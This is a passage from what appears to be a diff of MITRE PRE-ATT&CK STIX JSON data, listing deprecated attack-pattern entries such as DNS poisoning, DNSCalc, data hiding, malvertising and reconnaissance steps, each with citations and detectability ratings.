(Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1382", + "url": "https://attack.mitre.org/techniques/T1382" + }, + { + "description": "Cindy Liu. (2016, March 30). Google DNS Poisoning Follows Brief Unblocking. Retrieved March 31, 2017.", + "source_name": "Google DNS Poisoning" + }, + { + "description": "John Leyden. (2014, January 21). DNS poisoning slams web traffic from millions in China into the wrong hole. Retrieved March 31, 2017.", + "source_name": "DNS Poisoning China" + }, + { + "description": "Paul Oliveria. (2008, January 11). Targeted Attack in Mexico: DNS Poisoning via Modems. Retrieved April 1, 2017.", + "source_name": "Mexico Modem DNS Poison" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:19:39.311Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1159", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.", + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7823039f-e2d5-4997-853c-ec983631206b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "DNSCalc", + "description": "**This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).**\n\nDNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1324", + "url": "https://attack.mitre.org/techniques/T1324" + }, + { + "description": "Adam Meyers. (2013, March 29). Whois Numbered Panda. Retrieved March 6, 2017.", + "source_name": "CrowdstrikeNumberedPanda" + }, + { + "description": "Ned Moran, Mike Oppenheim. (2014, September 3). Darwin\u2019s Favorite APT Group. Retrieved March 6, 2017.", + "source_name": "FireEyeDarwinsAPTGroup" + }, + { + "source_name": "Rapid7G20Espionage", + "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.", + "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-03-30T14:05:23.291Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true, + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1101", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.", + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Data Hiding", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320).\n\nCertain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1320", + "external_id": "T1320" + }, + { + "source_name": "BotnetsDNSC2", + "description": "Christian J. Dietrich, Christian Rossow, Felix C. Freiling, Herbert Bos, Maarten van Steen, Norbert Pohlmann. (2011). On Botnets that use DNS for Command and Control. Retrieved March 6, 2017." + }, + { + "source_name": "HAMMERTOSS2015", + "description": "FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017." + }, + { + "source_name": "DNS-Tunnel", + "description": "Alexey Shulmi and Sergey Yunakovsky. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1097", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Deploy exploit using advertising", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1380", + "url": "https://attack.mitre.org/techniques/T1380" + }, + { + "description": "Michael Mimoso. (2015, March 30). AD NETWORKS RIPE FOR ABUSE VIA MALVERTISING. Retrieved March 9, 2017.", + "source_name": "TPMalvertising" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:18:44.045Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1157", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can deploy exploits via malvertising using multiple mechanisms. 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The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1230).\n\nLeadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)", + "external_references": [ + { + "external_id": "T1230", + "url": "https://attack.mitre.org/techniques/T1230", + "source_name": "mitre-pre-attack" + }, + { + "description": "Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017.", + "source_name": "LowenthalCh4" + }, + { + "description": "Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017.", + "source_name": "Heffter" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "phase_name": "priority-definition-planning", + "kill_chain_name": "mitre-pre-attack" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1007", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine 3rd party infrastructure services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1284).\n\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1284", + "external_id": "T1284" + }, + { + "source_name": "LUCKYCAT2012", + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017." + }, + { + "source_name": "Schneier-cloud", + "description": "Bruce Schneier. (2017, April 5). APT10 and Cloud Hopper. Retrieved May 9, 2017." + }, + { + "source_name": "Computerworld-suppliers", + "description": "Michael Kan. (2017, April 4). Chinese hackers go after third-party IT suppliers to steal data. Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1061", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine 3rd party infrastructure services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260).\n\nInfrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1260", + "external_id": "T1260" + }, + { + "source_name": "FFIECAwareness", + "description": "Federal Financial Institutions Examination Council. (2016, October 17). Cybersecurity Awareness. Retrieved March 5, 2017." + }, + { + "source_name": "Zetter2015Threats", + "description": "Kim Zetter. (2015, January 4). The Biggest Security Threats We\u2019ll Face in 2015. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1037", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine approach/attack vector", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1245).\n\nThe approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1245", + "external_id": "T1245" + }, + { + "source_name": "CyberAdversaryBehavior", + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017." + }, + { + "source_name": "WITCHCOVEN2015", + "description": "Jonathan Wrolstad and Barry Vengerik. (2015, November). Pinpointing Targets: Exploiting Web Analytics to Ensnare Victims. Retrieved March 5, 2017." + }, + { + "source_name": "JP3-60", + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017." + }, + { + "source_name": "JP3-12R", + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017." + }, + { + "source_name": "DoD Cyber 2015", + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1022", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine centralization of IT management", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285).\n\nDetermining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1285", + "external_id": "T1285" + }, + { + "source_name": "SANSCentratlizeManagement", + "description": "Scott Rasmussen. (2002, January 28). Centralized Network Security Management: Combining Defense In Depth with Manageable Security. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1062", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine domain and IP address space", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250).\n\nDomain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1250", + "external_id": "T1250" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Public or easily obtainable information by design.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "AS and IANA data are easily available, existing research tools.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1027", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine external network trust dependencies", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259).\n\nNetwork trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)", + "external_references": [ + { + "external_id": "T1259", + "url": "https://attack.mitre.org/techniques/T1259", + "source_name": "mitre-pre-attack" + }, + { + "description": "Cliff Stoll. (1089). The Cuckoo's Egg. Retrieved August 8, 2017.", + "source_name": "CuckoosEgg" + }, + { + "description": "Wikipedia contributors. (2017, January 18). The Cuckoo's Egg. Retrieved March 5, 2017.", + "source_name": "CuckoosEggWikipedia" + }, + { + "description": "WBGH Nova. (1990, October 3). The KGB, the Computer and Me. Retrieved March 5, 2017.", + "source_name": "KGBComputerMe" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "phase_name": "technical-information-gathering", + "kill_chain_name": "mitre-pre-attack" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1036", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine firmware version", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258).\n\nFirmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1258", + "external_id": "T1258" + }, + { + "source_name": "Abdelnur Advanced Fingerprinting", + "description": "Humberto J. Abdelnur, Radu State, Olivier Festor. (2008). Advanced Network Fingerprinting. Retrieved April 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "No easy way for defenders to detect when an adversary collects this information.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1035", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine highest level tactical element", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1243).\n\nFrom a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1243", + "external_id": "T1243" + }, + { + "source_name": "CyberAdversaryBehavior", + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017." + }, + { + "source_name": "JP3-60", + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017." + }, + { + "source_name": "JP3-12R", + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017." + }, + { + "source_name": "DoD Cyber 2015", + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1020", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--c860af4a-376e-46d7-afbf-262c41012227", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine operational element", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242).\n\nIf going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1242", + "external_id": "T1242" + }, + { + "source_name": "CyberAdversaryBehavior", + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017." + }, + { + "source_name": "JP3-60", + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017." + }, + { + "source_name": "JP3-12R", + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017." + }, + { + "source_name": "DoD Cyber 2015", + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1019", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine physical locations", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282).\n\nPhysical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1282", + "external_id": "T1282" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1059", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine secondary level tactical element", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244).\n\nThe secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1244", + "external_id": "T1244" + }, + { + "source_name": "CyberAdversaryBehavior", + "description": "Elizabeth Van Ruitenbeek, Ken 